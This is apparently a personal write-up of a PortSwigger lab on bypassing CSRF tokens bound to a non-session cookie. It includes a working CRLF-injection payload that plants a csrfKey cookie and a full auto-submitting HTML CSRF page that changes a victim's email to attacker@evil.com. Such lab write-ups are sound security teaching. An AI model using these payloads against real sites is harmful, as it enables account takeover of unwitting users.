CSRF where token is tied to non-session cookie | Dec 15, 2022
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: CSRF where token is tied to non-session cookie! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★★★★★☆☆☆☆☆
Background
This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t fully integrated into the site’s session handling system.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.
You have two accounts on the application that you can use to help design your attack. The credentials are as follows:
wiener:peter
carlos:montoya
Exploitation
Home page:
Login as user wiener
:
In the previous labs, we found that the email change functionality is vulnerable to CSRF, and it uses tokens to try to prevent CSRF attacks:
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="">
<input required type=hidden name=csrf value=hMX6roXxx4LPkQUpRCr5tJFKc5s6NzJM>
<button class='button' type='submit'> Update email </button>
</form>
Let’s try to update our email address, and intercept the request via Burp Suite:
As you can see, this time it also include a cookie called csrfKey
, and a parameter csrf
!
Hmm… What if I change the value of csrfKey
?
It outputs Invalid CSRF token
!
And what if I change the value of session
?
It redirects me to /login
, which is log out the current session, and also set a new session
cookie!
Now, let’s login as user carlos
, and try to swap csrfKey
cookie and csrf
parameter from user wiener
:
Hmm? The csrfKey
cookie and csrf
parameter is exactly the same as user wiener
!
The only difference is the session
cookie!
This proves that the back-end’s CSRF protection doesn’t integrate into the session system.
Now, we still couldn’t change victim’s email address, as the csrfKey
is a cookie! And we couldn’t simply add our own cookie value.
After poking around, I found that the home page’s search box is interesting:
Let’s search something, and intercept the request in Burp Suite:
When we click the Search
button, it’ll send a GET request to /
with the parameter search
.
Also, when we sent the request, it’ll set a new cookie value: LastSearchTerm=<seach_parameter_value>
!
That being said, we can set any cookie value as we wanted.
But how can we abuse this?
In Mozilla web docs, it said:
To send multiple cookies, multiple
Set-Cookie
headers should be sent in the same response.
Hmm… That means we can set multiple cookies?
After I google this a little bit, I found this Medium blog:
Wait. CRLF injection allow cookie injection?
And after googled about CRLF injection, I found this post on GeeksforGeeks:
So if the web application is vulnerable, we can injection %0d%0a
(\r\n
) in the request??
Let’s try that!
Payload:
/?search=anything%0d%0aSet-Cookie:csrfKey=CRLF%3b%20SameSite=None
Note: The
%3b%20
means;
, and we needSameSite
is set toNone
.
Nice! We’ve successfully set a new cookie!
Now, let’s craft a HTTP form that performs CSRF attack on changing email!
<html>
<head>
<title>CSRF-5</title>
</head>
<body>
<form action="https://0a38003c0466e7dbc41f2f84009200ac.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="csrf" value="hMX6roXxx4LPkQUpRCr5tJFKc5s6NzJM">
</form>
<img src="https://0a38003c0466e7dbc41f2f84009200ac.web-security-academy.net/?search=anything%0d%0aSet-Cookie:csrfKey=cYKdlnK4AuLbcbZBymW44Vizt6UkQpRK%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
Let’s break it down:
- We’ve added a CSRF token value from user
wiener
- We’ve added a new
img
tag, and it’s forcing a user to set a newcsrfKey
cookie, which is userwiener
value. Also, when the image is failed to load, submit the form automatically
Armed with above information, we can try to use the exploit server
to change victim’s email address!
After clicked Store
button, click Deliver exploit to victim
:
We did it!
What we’ve learned:
- CSRF where token is tied to non-session cookie